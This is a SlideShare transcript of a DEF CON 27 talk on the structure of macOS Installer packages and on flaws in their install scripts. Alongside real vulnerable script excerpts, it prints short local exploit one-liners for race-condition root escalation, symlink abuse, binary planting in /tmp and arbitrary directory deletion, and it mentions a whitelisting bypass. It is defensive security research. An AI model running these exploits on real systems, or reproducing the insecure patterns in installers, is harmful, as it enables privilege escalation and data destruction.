SlideShare a Scribd company logo
1 of 43
Download to read offline
A look inside macOS Installer packages and
common security flaws
This is Me
● Experience: 11 years professional, 20+ years hobbyist
○ Self-taught → Stanford → iSEC Partners → NCC Group
● Security consultant: appsec focus
○ IC → Management → IC
This is Me
● Experience: 11 years professional, 20+ years hobbyist
○ Self-taught → Stanford → iSEC Partners → NCC Group
● Security consultant: appsec focus
○ IC → Management → IC
● “Dana Vollmer’s husband” (5x Olympic Gold Medalist)
This is Me
● Experience: 11 years professional, 20+ years hobbyist
○ Self-taught → Stanford → iSEC Partners → NCC Group
● Security consultant: appsec focus
○ IC → Management → IC
● “Dana Vollmer’s husband” (5x Olympic Gold Medalist)
http://www.zimbio.com/Hottest+Olympic+Husbands+and+Boyfriends/
articles/u_giY9WHdG9/Dana+Vollmer+Husband+Andy+Grant
Overview
● Motivation
● The package
● Unpacking
● What can (and does) go wrong
Why?
● I’ve got trust issues
○ What’s really going on?
● All in a day’s work
○ Sometimes there’s nothing else to look at
A look at the package
The Package - Outside
● Mac OS X Installer flat package (.pkg extension)
○ Little to no official documentation
■ Better unofficial (but incomplete) documentation
https://matthew-brett.github.io/docosx/flat_packages.html
http://s.sudre.free.fr/Stuff/Ivanhoe/FLAT.html
● eXtensible ARchive (XAR)
● Helpful tools
○ macOS pre-installed pkgutil
○ Suspicious Package:
https://www.mothersruin.com/software/SuspiciousPackage/
But what’s inside?
Unpacking
● The easy way
pkgutil --expand "/path/to/package.pkg" "/path/to/output/directory"
Unpacking
● The easy way
pkgutil --expand "/path/to/package.pkg" "/path/to/output/directory"
● The hacker way
mkdir -p "/path/to/output/directory"
cd "/path/to/output/directory"
xar -xf "/path/to/package.pkg"
The Package - Inside
├── Distribution XML document text, ASCII text
├── Resources directory
└── <package>.pkg directory
├── Bom Mac OS X bill of materials (BOM) file
├── PackageInfo XML document text, ASCII text
├── Payload gzip compressed data, from Unix
└── Scripts gzip compressed data, from Unix
The Package - Distribution, PackageInfo, Bom
● Distribution (XML + JavaScript)
○ Customizations (title, welcome text, readme, background, restart, etc)
○ Script / installation checks (InstallerJS)
The Package - Distribution, PackageInfo, Bom
● Distribution (XML + JavaScript)
○ Customizations (title, welcome text, readme, background, restart, etc)
○ Script / installation checks (InstallerJS)
● PackageInfo (XML)
○ Information on the package
○ Install requirements
○ Installation location
○ Paths to scripts to run
The Package - Distribution, PackageInfo, Bom
● Distribution (XML + JavaScript)
○ Customizations (title, welcome text, readme, background, restart, etc)
○ Script / installation checks (InstallerJS)
● PackageInfo (XML)
○ Information on the package
○ Install requirements
○ Installation location
○ Paths to scripts to run
● Bill of materials (bom)
○ List of files to install, update, or remove
○ File permissions, owner/group, size, etc
The Package - Payload, Scripts
● Payload (CPIO archive, gzip)
○ The files to be installed
○ Extracted to the install location specified in PackageInfo
The Package - Payload, Scripts
● Payload (CPIO archive, gzip)
○ The files to be installed
○ Extracted to the install location specified in PackageInfo
● Scripts (CPIO archive, gzip)
○ Pre- and post-install scripts and additional resources
■ Bash, Python, Perl, <executable + #!>
○ Extracted to random temp directory for execution
Unpacking - Scripts
● gzip’d cpio files
cat Scripts | gzip -dc | cpio -i
Unpacking - Scripts
● gzip’d cpio files
cat Scripts | gzip -dc | cpio -i
● But cpio knows how to handle compressed files natively
cpio -i < Scripts
Unpacking - Scripts
● gzip’d cpio files
cat Scripts | gzip -dc | cpio -i
● But cpio knows how to handle compressed files natively
cpio -i < Scripts
If you did the easy way (pkgutil --expand) this was done for you and Scripts
is a directory containing the archive’s contents
Unpacking - Payload
● Same as Scripts
cpio -i < Payload
Unpacking - Payload
● Same as Scripts
cpio -i < Payload
● Sometimes contains more .pkg files; recurse!
Unpacking - Payload
● Same as Scripts
cpio -i < Payload
● Sometimes contains more .pkg files; recurse!
Unlike Scripts, pkgutil --expand DOES NOT expand Payload for you
What happens when I double click the .pkg?
Installation - Order of operations (roughly)
1. Installation checks, specified in Distribution:
<installation-check script="installCheck();"/>
Installation - Order of operations (roughly)
1. Installation checks, specified in Distribution:
<installation-check script="installCheck();"/>
2. Preinstall, specified in PackageInfo:
<scripts>
<preinstall file="./preinstall"/>
</scripts>
Installation - Order of operations (roughly)
1. Installation checks, specified in Distribution:
<installation-check script="installCheck();"/>
2. Preinstall, specified in PackageInfo:
<scripts>
<preinstall file="./preinstall"/>
</scripts>
3. Extract Payload to install-location from PackageInfo
Installation - Order of operations (roughly)
1. Installation checks, specified in Distribution:
<installation-check script="installCheck();"/>
2. Preinstall, specified in PackageInfo:
<scripts>
<preinstall file="./preinstall"/>
</scripts>
3. Extract Payload to install-location from PackageInfo
4. Postinstall, specified in PackageInfo:
<scripts>
<postinstall file="./postinstall"/>
</scripts>
What can go wrong?
Security - Where are the vulns?
● Scripts
○ Preinstall
○ Postinstall
○ Helper scripts
● Payload
○ Additional scripts (application helpers, uninstall scripts, etc)
○ Normal native app issues (brush up on your reversing skills!)
■ Binary
■ Libraries
■ Kernel modules
Security - Types of vulns
● TOCTOU (minus the TOC)
● /tmp isn’t safe?!
○ What about for reads? Nope
○ What about for writes? Nope
○ What about for executes? Nope
● Access for all!
○ chmod 777
Real vulns in real .pkgs (in the past 8 months)
Into the Wild
● Root privilege escalation
● Symlink abuse
● Privilege escalation
● Arbitrary directory deletion
● Arbitrary code execution
Into the Wild - Root privilege escalation
● Vulnerability
○ Payload includes /var/tmp/Installerutil
○ Postinstall:
sudo /var/tmp/Installerutil --validate_nsbrandingfile
"$NSBRANDING_JSON_FILE" "$NSINSTPARAM_JSON_FILE"
● Attack - Logged in non-root user attacking IT admin installing software
○ Exploit:
while [ ! -f /var/tmp/Installerutil ]; do :; done; rm
/var/tmp/Installerutil; cp exploit.sh /var/tmp/Installerutil
Into the Wild - Symlink abuse
● Vulnerability
○ Preinstall:
sudo rm /var/tmp/nsinstallation
○ Postinstall:
sudo chmod 777 /var/tmp/nsinstallation
sudo chown "${CONSOLE_USER}" /var/tmp/nsinstallation
● Attack - Any user/process attacking system administrator
○ Exploit:
touch /var/tmp/nsinstallation; while [ -f /var/tmp/nsinstallation
]; do :; done; ln -s /Applications /var/tmp/nsinstallation
Into the Wild - Privilege escalation
● Vulnerability
○ Preinstall:
rm -rf /tmp/7z
unzipresult=$(/usr/bin/unzip -q "$APP_FOLDER/7z.zip" -d "/tmp")
un7zresult=$(/tmp/7z x "${APP_FOLDER}/xy.7z" -o "$APP_FOLDER")
● Attack - Any user/process attacking installing user
○ Exploit:
cp exploit.sh /tmp/7z
Into the Wild - Arbitrary directory deletion
● Vulnerability
○ Helper script inside Payload:
# Clean up garbage
rm -rf /tmp/sdu/*
rmdir /tmp/sdu/
● Attack - Any user/process attacking user running installed application
○ Exploit:
ln -s /Users/victim /var/sdu
Into the Wild - Arbitrary code execution
● Vulnerability
○ PackageInfo:
<pkg-info install-location="/tmp/RazerSynapse" auth="root">
○ Postinstall:
cd /tmp/RazerSynapse
for package in /tmp/RazerSynapse/*.pkg
do
installer -pkg "${package}" -target /
Into the Wild - Arbitrary code execution
● Vulnerability
○ PackageInfo:
<pkg-info install-location="/tmp/RazerSynapse" auth="root">
○ Postinstall:
cd /tmp/RazerSynapse
for package in /tmp/RazerSynapse/*.pkg
do
installer -pkg "${package}" -target /
Into the Wild - Arbitrary code execution
● DEMO!
○ Download target package
○ Extract files from .pkg
○ Check Distribution for installation-checks / script
○ Check PackageInfo for install-location and scripts
○ Extract files from Scripts
○ Check scripts for vulns
○ Craft exploit for discovered vuln
○ “Deliver” exploit and wait for installation
○ Install package
○ Profit!
Into the Wild - Demo
https://www.youtube.com/watch?v=OvlSLCVgaMs
That Was Unexpected
● “No payload” packages leave no receipts
○ Nothing was “installed”, so no system record of the installation occurring
○ For minimal clicks, do everything during the installation checks
● Application Whitelisting (Google’s Santa) bypass:
https://www.praetorian.com/blog/bypassing-google-santa-application-whitelisting-on-macos-part-1
○ On macOS, app whitelisting is at the execve level, and installer is whitelisted
○ Code run via installation checks and pre- and post-install scripts run as installer
Questions?
@andywgrant

More Related Content

What's hot

macOS アプリで Swift Package Manager を使ってみる #love_swift #hakataswift
macOS アプリで Swift Package Manager を使ってみる #love_swift #hakataswiftmacOS アプリで Swift Package Manager を使ってみる #love_swift #hakataswift
macOS アプリで Swift Package Manager を使ってみる #love_swift #hakataswiftTomohiro Kumagai
 
How tos nagios - centos wiki
How tos nagios - centos wikiHow tos nagios - centos wiki
How tos nagios - centos wikishahab071
 
OSMC2010 Open NMS Kickstart
OSMC2010 Open NMS KickstartOSMC2010 Open NMS Kickstart
OSMC2010 Open NMS KickstartRonny
 

What's hot (8)

macOS アプリで Swift Package Manager を使ってみる #love_swift #hakataswift
macOS アプリで Swift Package Manager を使ってみる #love_swift #hakataswiftmacOS アプリで Swift Package Manager を使ってみる #love_swift #hakataswift
macOS アプリで Swift Package Manager を使ってみる #love_swift #hakataswift
 
Nodejs Intro
Nodejs IntroNodejs Intro
Nodejs Intro
 
Message Decrypt
Message DecryptMessage Decrypt
Message Decrypt
 
Sn office 2010
Sn office 2010Sn office 2010
Sn office 2010
 
How tos nagios - centos wiki
How tos nagios - centos wikiHow tos nagios - centos wiki
How tos nagios - centos wiki
 
OSMC2010 Open NMS Kickstart
OSMC2010 Open NMS KickstartOSMC2010 Open NMS Kickstart
OSMC2010 Open NMS Kickstart
 
Nagios
NagiosNagios
Nagios
 
AutoYast
AutoYastAutoYast
AutoYast
 

Similar to DEF CON 27 - ANDY GRANT - unpacking pkgs

Wrangling 3rd Party Installers from Puppet
Wrangling 3rd Party Installers from PuppetWrangling 3rd Party Installers from Puppet
Wrangling 3rd Party Installers from PuppetPuppet
 
Fuzzing softwares for bugs - OWASP Seasides
Fuzzing softwares for bugs - OWASP SeasidesFuzzing softwares for bugs - OWASP Seasides
Fuzzing softwares for bugs - OWASP SeasidesOWASPSeasides
 
Containerized IDEs.pdf
Containerized IDEs.pdfContainerized IDEs.pdf
Containerized IDEs.pdfLibbySchulze
 
Reversing & malware analysis training part 7 unpacking upx
Reversing & malware analysis training part 7   unpacking upxReversing & malware analysis training part 7   unpacking upx
Reversing & malware analysis training part 7 unpacking upxAbdulrahman Bassam
 
How To Install OpenFire in CentOS 7
How To Install OpenFire in CentOS 7How To Install OpenFire in CentOS 7
How To Install OpenFire in CentOS 7VCP Muthukrishna
 
Hadoop: Big Data Stacks validation w/ iTest How to tame the elephant?
Hadoop:  Big Data Stacks validation w/ iTest  How to tame the elephant?Hadoop:  Big Data Stacks validation w/ iTest  How to tame the elephant?
Hadoop: Big Data Stacks validation w/ iTest How to tame the elephant?Dmitri Shiryaev
 
RPM: Speed up your deploy
RPM: Speed up your deployRPM: Speed up your deploy
RPM: Speed up your deployfcrippa
 
Chocolatey - making the process of installing software on windows easy as pie
Chocolatey - making the process of installing software on windows easy as pieChocolatey - making the process of installing software on windows easy as pie
Chocolatey - making the process of installing software on windows easy as pieJustin James
 
IzPack at LyonJUG'11
IzPack at LyonJUG'11IzPack at LyonJUG'11
IzPack at LyonJUG'11julien.ponge
 
using Chocolatey for application deployments
using Chocolatey for application deploymentsusing Chocolatey for application deployments
using Chocolatey for application deploymentsOwain Perry
 
TechMentor Fall, 2011 - Packaging Software for Automated Deployment with Wind...
TechMentor Fall, 2011 - Packaging Software for Automated Deployment with Wind...TechMentor Fall, 2011 - Packaging Software for Automated Deployment with Wind...
TechMentor Fall, 2011 - Packaging Software for Automated Deployment with Wind...Concentrated Technology
 
MacSysAdmin Tools Smörgåsbord
MacSysAdmin Tools SmörgåsbordMacSysAdmin Tools Smörgåsbord
MacSysAdmin Tools SmörgåsbordTimothy Sutton
 
Oracle11g On Fedora14
Oracle11g On Fedora14Oracle11g On Fedora14
Oracle11g On Fedora14kmsa
 
Orangescrum In App Chat Add-on User Manual
Orangescrum In App Chat Add-on User ManualOrangescrum In App Chat Add-on User Manual
Orangescrum In App Chat Add-on User ManualOrangescrum
 
Puppet Camp LA 2015: Package Managers and Puppet (Beginner)
Puppet Camp LA 2015: Package Managers and Puppet (Beginner)Puppet Camp LA 2015: Package Managers and Puppet (Beginner)
Puppet Camp LA 2015: Package Managers and Puppet (Beginner)Puppet
 
Puppet Camp LA 2/19/2015
Puppet Camp LA 2/19/2015Puppet Camp LA 2/19/2015
Puppet Camp LA 2/19/2015ice799
 
Deploying and maintaining your software with RPM/APT
Deploying and maintaining your software with RPM/APTDeploying and maintaining your software with RPM/APT
Deploying and maintaining your software with RPM/APTJoshua Thijssen
 
How to generate,collect and upload ocum logs
How to generate,collect and upload ocum logsHow to generate,collect and upload ocum logs
How to generate,collect and upload ocum logsAshwin Pawar
 

Similar to DEF CON 27 - ANDY GRANT - unpacking pkgs (20)

Wrangling 3rd Party Installers from Puppet
Wrangling 3rd Party Installers from PuppetWrangling 3rd Party Installers from Puppet
Wrangling 3rd Party Installers from Puppet
 
Fuzzing softwares for bugs - OWASP Seasides
Fuzzing softwares for bugs - OWASP SeasidesFuzzing softwares for bugs - OWASP Seasides
Fuzzing softwares for bugs - OWASP Seasides
 
Containerized IDEs.pdf
Containerized IDEs.pdfContainerized IDEs.pdf
Containerized IDEs.pdf
 
Reversing & malware analysis training part 7 unpacking upx
Reversing & malware analysis training part 7   unpacking upxReversing & malware analysis training part 7   unpacking upx
Reversing & malware analysis training part 7 unpacking upx
 
How To Install OpenFire in CentOS 7
How To Install OpenFire in CentOS 7How To Install OpenFire in CentOS 7
How To Install OpenFire in CentOS 7
 
Universal Userland
Universal UserlandUniversal Userland
Universal Userland
 
Hadoop: Big Data Stacks validation w/ iTest How to tame the elephant?
Hadoop:  Big Data Stacks validation w/ iTest  How to tame the elephant?Hadoop:  Big Data Stacks validation w/ iTest  How to tame the elephant?
Hadoop: Big Data Stacks validation w/ iTest How to tame the elephant?
 
RPM: Speed up your deploy
RPM: Speed up your deployRPM: Speed up your deploy
RPM: Speed up your deploy
 
Chocolatey - making the process of installing software on windows easy as pie
Chocolatey - making the process of installing software on windows easy as pieChocolatey - making the process of installing software on windows easy as pie
Chocolatey - making the process of installing software on windows easy as pie
 
IzPack at LyonJUG'11
IzPack at LyonJUG'11IzPack at LyonJUG'11
IzPack at LyonJUG'11
 
using Chocolatey for application deployments
using Chocolatey for application deploymentsusing Chocolatey for application deployments
using Chocolatey for application deployments
 
TechMentor Fall, 2011 - Packaging Software for Automated Deployment with Wind...
TechMentor Fall, 2011 - Packaging Software for Automated Deployment with Wind...TechMentor Fall, 2011 - Packaging Software for Automated Deployment with Wind...
TechMentor Fall, 2011 - Packaging Software for Automated Deployment with Wind...
 
MacSysAdmin Tools Smörgåsbord
MacSysAdmin Tools SmörgåsbordMacSysAdmin Tools Smörgåsbord
MacSysAdmin Tools Smörgåsbord
 
Oracle11g On Fedora14
Oracle11g On Fedora14Oracle11g On Fedora14
Oracle11g On Fedora14
 
Oracle11g on fedora14
Oracle11g on fedora14Oracle11g on fedora14
Oracle11g on fedora14
 
Orangescrum In App Chat Add-on User Manual
Orangescrum In App Chat Add-on User ManualOrangescrum In App Chat Add-on User Manual
Orangescrum In App Chat Add-on User Manual
 
Puppet Camp LA 2015: Package Managers and Puppet (Beginner)
Puppet Camp LA 2015: Package Managers and Puppet (Beginner)Puppet Camp LA 2015: Package Managers and Puppet (Beginner)
Puppet Camp LA 2015: Package Managers and Puppet (Beginner)
 
Puppet Camp LA 2/19/2015
Puppet Camp LA 2/19/2015Puppet Camp LA 2/19/2015
Puppet Camp LA 2/19/2015
 
Deploying and maintaining your software with RPM/APT
Deploying and maintaining your software with RPM/APTDeploying and maintaining your software with RPM/APT
Deploying and maintaining your software with RPM/APT
 
How to generate,collect and upload ocum logs
How to generate,collect and upload ocum logsHow to generate,collect and upload ocum logs
How to generate,collect and upload ocum logs
 

More from Felipe Prado

DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryDEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryFelipe Prado
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...Felipe Prado
 
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsDEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsFelipe Prado
 
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionDEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionFelipe Prado
 
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101Felipe Prado
 
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentDEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentFelipe Prado
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareDEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareFelipe Prado
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...Felipe Prado
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationDEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationFelipe Prado
 
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceDEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceFelipe Prado
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionistDEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionistFelipe Prado
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksDEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksFelipe Prado
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityDEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityFelipe Prado
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsDEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsFelipe Prado
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchFelipe Prado
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...Felipe Prado
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksDEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksFelipe Prado
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationDEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationFelipe Prado
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncDEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncFelipe Prado
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesDEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesFelipe Prado
 

More from Felipe Prado (20)

DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryDEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
 
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsDEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got ants
 
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionDEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryption
 
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101
 
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentDEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a government
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareDEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationDEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
 
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceDEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interface
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionistDEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksDEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityDEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud security
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsDEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portals
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitch
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksDEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationDEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncDEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesDEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devices
 

Recently uploaded

Key Features Of Token Development (1).pptx
Key  Features Of Token  Development (1).pptxKey  Features Of Token  Development (1).pptx
Key Features Of Token Development (1).pptxLBM Solutions
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxOnBoard
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersThousandEyes
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024BookNet Canada
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
Pigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions Piggable Sweeping Elbows
Pigging Solutions Piggable Sweeping ElbowsPigging Solutions
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticscarlostorres15106
 
SIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphSIEMENS: RAPUNZEL – A Tale About Knowledge Graph
SIEMENS: RAPUNZEL – A Tale About Knowledge GraphNeo4j
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxnull - The Open Security Community
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitecturePixlogix Infotech
 
Artificial intelligence in the post-deep learning era
Artificial intelligence in the post-deep learning eraArtificial intelligence in the post-deep learning era
